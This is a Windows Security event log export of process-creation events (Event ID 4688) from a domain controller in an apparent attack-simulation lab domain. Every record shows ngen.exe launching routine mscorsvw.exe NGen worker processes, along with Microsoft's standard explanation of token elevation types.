Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254928
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf70
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 554 -InterruptEvent 0 -NGENProcess 54c -Pipe 564 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254927
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x900
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 558 -InterruptEvent 0 -NGENProcess 54c -Pipe 530 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254926
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc40
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 548 -InterruptEvent 0 -NGENProcess 474 -Pipe 550 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254925
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfa8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 544 -InterruptEvent 0 -NGENProcess 474 -Pipe 4a4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254924
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xef8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 534 -InterruptEvent 0 -NGENProcess 474 -Pipe 4a0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254923
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10d4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4cc -InterruptEvent 0 -NGENProcess 4a0 -Pipe 494 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254922
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1314
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 494 -InterruptEvent 0 -NGENProcess 4cc -Pipe 53c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254921
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x968
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 53c -InterruptEvent 0 -NGENProcess 494 -Pipe 4f4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254920
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 4f4 -InterruptEvent 0 -NGENProcess 53c -Pipe 45c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:37 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254919
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9cc
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 474 -InterruptEvent 0 -NGENProcess 53c -Pipe 500 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254937
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x11c0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 580 -InterruptEvent 0 -NGENProcess 4c4 -Pipe 59c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254936
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9ec
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 598 -InterruptEvent 0 -NGENProcess 4c4 -Pipe 584 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254935
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x924
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 57c -InterruptEvent 0 -NGENProcess 4c4 -Pipe 554 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254934
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xed0
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 584 -InterruptEvent 0 -NGENProcess 544 -Pipe 52c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254933
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xdd4
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 554 -InterruptEvent 0 -NGENProcess 544 -Pipe 56c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254932
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 54c -InterruptEvent 0 -NGENProcess 544 -Pipe 538 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254931
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe80
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 544 -InterruptEvent 0 -NGENProcess 558 -Pipe 540 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:07:38 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254930
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10a8
	New Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0xff0
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 54c -InterruptEvent 0 -NGENProcess 558 -Pipe 474 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

